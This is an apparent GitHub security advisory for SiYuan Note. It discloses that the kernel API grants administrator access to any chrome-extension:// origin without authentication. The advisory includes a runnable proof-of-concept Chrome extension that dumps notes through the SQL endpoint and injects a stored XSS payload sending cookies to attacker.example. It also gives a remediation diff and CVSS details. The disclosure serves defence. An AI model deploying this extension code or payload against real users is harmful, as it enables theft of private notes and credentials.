SiYuan: Unauthenticated Admin API Access via Blanket chrome-extension:// Origin Allowlist

Description

Summary

SiYuan Note's kernel HTTP server unconditionally trusts all chrome-extension:// origins, granting RoleAdministrator access to every installed browser extension without any authentication. Combined with the default empty AccessAuthCode on desktop installs, any Chrome/Chromium extension -- including a compromised legitimate extension via supply chain attack -- can make fully authenticated admin API calls to the SiYuan kernel at 127.0.0.1:6806, enabling data exfiltration, stored XSS injection, and configuration tampering.

Affected Versions

SiYuan <= v3.6.5 (commit 96dfe0bea474). The chrome-extension allowlist remains unfixed as of the latest commit on the fix branch (d7b77d945e0d).

Vulnerability Details

Blanket chrome-extension:// Origin Trust (CWE-346)

In kernel/model/session.go:277, the CheckAuth middleware exempts all chrome-extension:// origins from authentication:

if strings.HasPrefix(origin, &quot;chrome-extension://&quot;) {
    // skip auth
}

At session.go:284, the request is assigned RoleAdministrator:

c.Set(&quot;role&quot;, model.RoleAdministrator)

The AccessAuthCode field defaults to an empty string for desktop installs (ContainerStd). When empty, no token validation occurs. This means any Chrome/Chromium extension can make fully authenticated admin API calls to the SiYuan kernel.

The origin check trusts the entire chrome-extension:// scheme rather than validating a specific extension ID, so every installed extension (including those with no explicit host_permissions) can access all admin endpoints.

Proof of Concept

Unauthenticated admin API access via browser extension:

A minimal Chrome extension with only default permissions:

{
  &quot;manifest_version&quot;: 3,
  &quot;name&quot;: &quot;SiYuan PoC&quot;,
  &quot;version&quot;: &quot;1.0&quot;,
  &quot;background&quot;: {
    &quot;service_worker&quot;: &quot;bg.js&quot;
  }
}
// bg.js -- runs as chrome-extension://&lt;id&gt;
// No special host_permissions needed; localhost is accessible by default

// 1. Verify admin access
fetch(&#x27;http://127.0.0.1:6806/api/system/getConf&#x27;, {
  method: &#x27;POST&#x27;,
  headers: { &#x27;Content-Type&#x27;: &#x27;application/json&#x27; },
  body: &#x27;{}&#x27;
}).then(r =&gt; r.json()).then(data =&gt; {
  console.log(&#x27;[PoC] Admin API access confirmed:&#x27;, data.code === 0);
});

// 2. Exfiltrate workspace data
fetch(&#x27;http://127.0.0.1:6806/api/query/sql&#x27;, {
  method: &#x27;POST&#x27;,
  headers: { &#x27;Content-Type&#x27;: &#x27;application/json&#x27; },
  body: JSON.stringify({ stmt: &#x27;SELECT * FROM blocks LIMIT 100&#x27; })
}).then(r =&gt; r.json()).then(data =&gt; {
  console.log(&#x27;[PoC] Exfiltrated blocks:&#x27;, data.data?.length);
});

// 3. Inject stored XSS payload into a note
fetch(&#x27;http://127.0.0.1:6806/api/filetree/listDocsByPath&#x27;, {
  method: &#x27;POST&#x27;,
  headers: { &#x27;Content-Type&#x27;: &#x27;application/json&#x27; },
  body: JSON.stringify({ notebook: &#x27;&#x27;, path: &#x27;/&#x27; })
}).then(r =&gt; r.json()).then(tree =&gt; {
  const firstDoc = tree.data?.files?.[0];
  if (!firstDoc) return;

  fetch(&#x27;http://127.0.0.1:6806/api/block/insertBlock&#x27;, {
    method: &#x27;POST&#x27;,
    headers: { &#x27;Content-Type&#x27;: &#x27;application/json&#x27; },
    body: JSON.stringify({
      dataType: &#x27;markdown&#x27;,
      data: &#x27;&lt;img src=x onerror=&quot;fetch(\&#x27;https://attacker.example/steal?data=\&#x27;+document.cookie)&quot;&gt;&#x27;,
      parentID: firstDoc.id
    })
  });
});

The extension requires zero special permissions. The chrome-extension:// origin header is automatically sent by the browser, and session.go:277 grants it RoleAdministrator without any token check.

Impact

  • Unauthenticated admin API access for any installed browser extension, enabling full control of the SiYuan kernel
  • Data exfiltration of the entire workspace via /api/query/sql, /api/filetree/, /api/export/
  • Stored XSS injection via admin API endpoints (/api/block/insertBlock, /api/attr/setBlockAttrs), persisted in the user's notes
  • Configuration tampering via /api/system/setConf, enabling persistence and further attack surface expansion
  • Supply chain amplification: a single compromised popular Chrome extension update can silently exploit every SiYuan desktop user

Suggested Remediation

Remove blanket chrome-extension:// allowlist:

--- a/kernel/model/session.go
+++ b/kernel/model/session.go
@@ -274,9 +274,6 @@
 func CheckAuth(c *gin.Context) {
     origin := c.GetHeader(&quot;Origin&quot;)
-    if strings.HasPrefix(origin, &quot;chrome-extension://&quot;) {
-        // Allow chrome extension requests
-    } else
     if !isValidOrigin(origin) {
         c.AbortWithStatusJSON(401, gin.H{&quot;code&quot;: -1, &quot;msg&quot;: &quot;invalid origin&quot;})
         return

If extension access is required, implement a per-session token exchange: the SiYuan UI generates a random token on startup, and the extension must present it via a dedicated pairing endpoint. This ensures only explicitly authorized extensions can access the API.

Basic information

Type
reviewed
Severity
critical
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2026-07-10 19:26:06 UTC
Updated
2026-07-10 19:27:59 UTC
GitHub reviewed
2026-07-10 19:26:06 UTC
NVD published
2026-06-24

EPSS Score

Score Percentile
0.61% 44.54%

CVSS Scores

Base score Version Severity Vector
9.2 4.0
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network.
Attack complexity (AC:H)
Exploitation depends on constrained or hard-to-reproduce conditions.
Attack requirements (AT:N)
No additional preconditions are required beyond normal reachability.
Privileges required (PR:N)
No privileges are required.
User interaction (UI:N)
No user interaction is required.
Vulnerable system confidentiality impact (VC:H)
High confidentiality impact on the vulnerable system.
Vulnerable system integrity impact (VI:H)
High integrity impact on the vulnerable system.
Vulnerable system availability impact (VA:H)
High availability impact on the vulnerable system.
Subsequent system confidentiality impact (SC:N)
No confidentiality impact on subsequent systems.
Subsequent system integrity impact (SI:N)
No integrity impact on subsequent systems.
Subsequent system availability impact (SA:N)
No availability impact on subsequent systems.

Identifiers

CWEs

CWE id Name
CWE-346 Origin Validation Error

Credits

  • oduoke567 (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
go github.com/siyuan-note/siyuan/kernel < 0.0.0-20260628153353-2d5d72223df4 0.0.0-20260628153353-2d5d72223df4

References

cvelogic Threat Intelligence